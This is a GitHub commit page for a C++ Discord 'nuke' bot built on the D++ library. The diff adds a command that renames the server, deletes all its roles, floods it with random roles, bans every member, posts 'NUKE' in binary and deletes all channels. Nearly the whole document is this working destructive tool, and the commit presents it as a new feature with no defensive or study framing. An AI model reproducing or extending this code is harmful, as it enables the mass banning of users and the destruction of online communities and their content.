Skip to content

Commit

Permalink
New Feutures
Browse files Browse the repository at this point in the history
* ban all members
* remove all roles
* create new roles random
  • Loading branch information
ElecTwix committed Dec 29, 2021
1 parent eba75d9 commit 39b69a2
Showing 1 changed file with 118 additions and 4 deletions.
122 changes: 118 additions & 4 deletions MyBot/nuke.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,7 @@ struct versionsct
int build = 0;
};

struct versionsct version = { 0,2,01 };
struct versionsct version = { 0,4,1 };


Json::Value readandfetch()
Expand Down Expand Up @@ -87,26 +87,140 @@ int main()

bot.on_message_create([&bot](const auto& event) {



string str = event.msg.content;
std::size_t found = str.find_first_of(prefix);




if (found == 0) {
if (event.msg.content == prefix + nukecommand)
{

cout << dpp::get_user_count();
dpp::guild guild = *dpp::find_guild(event.msg.guild_id);



guild.set_name(to_string(rand()));



for (int i = 0; i < guild.roles.size(); i++)
{

bot.role_delete(guild.id, guild.roles[i], [guild, i](const dpp::confirmation_callback_t& callback)
{
if (!callback.is_error())
{
cout << guild.roles[i] << " id role deleted \n";
}
}



);
}






for (auto const& member : guild.members)
{

dpp::role newrole;
newrole.set_guild_id(guild.id);
newrole.set_colour(0xfac420);


newrole.set_name(to_string(rand()));




bot.role_create(newrole, [&bot, guild, newrole, member](const dpp::confirmation_callback_t& callback)
{


if(!callback.is_error())
{
const dpp::role role = get<dpp::role>(callback.value);

cout << "\n role id: " << role.id << " \n";

cout << "\n Guild id: " << guild.id << "\n";

bot.guild_member_add_role(guild.id, member.second.user_id, role.id, [member](const dpp::confirmation_callback_t& cc) {
// your stuff here

if (!cc.is_error())
{
cout << "hello bro";
}
else
{
cout << "Error Role Give: " << cc.get_error().message << "\n";
cout << member.second.user_id << "\n";
}
});
}
else
{
cout << "Error Role: " << callback.get_error().message << "\n";
}


}



);





bot.guild_ban_add(guild.id, member.second.user_id, 10, " ", [&bot, member](const dpp::confirmation_callback_t& callback)
{

if (!callback.is_error())
{
cout << "banned";
}
else
{
cout << "\n Error Ban: " << callback.get_error().message << "\n";
cout << "Name: " << member.second.joined_at << "\n";
}
}



);
}

cout << "\nTotal Channels: " << guild.channels.size() << "\n";
int channelsize = guild.channels.size();
bot.message_create(dpp::message(event.msg.channel_id, "01001110 01010101 01001011 01000101"));




bot.channels_get(event.msg.guild_id, [&bot, guild](const dpp::confirmation_callback_t& callback) {

if (!callback.is_error())
{
dpp::channel_map channels = std::get<dpp::channel_map>(callback.value);
for (auto const& channel : channels) {




dpp::channel_map channels = std::get<dpp::channel_map>(callback.value);
for (auto const& channel : channels) {


std::string channelname = channel.second.name;
bot.channel_delete(channel.second.id, [channelname](const dpp::confirmation_callback_t& callback)
{
Expand Down

0 comments on commit 39b69a2

Please sign in to comment.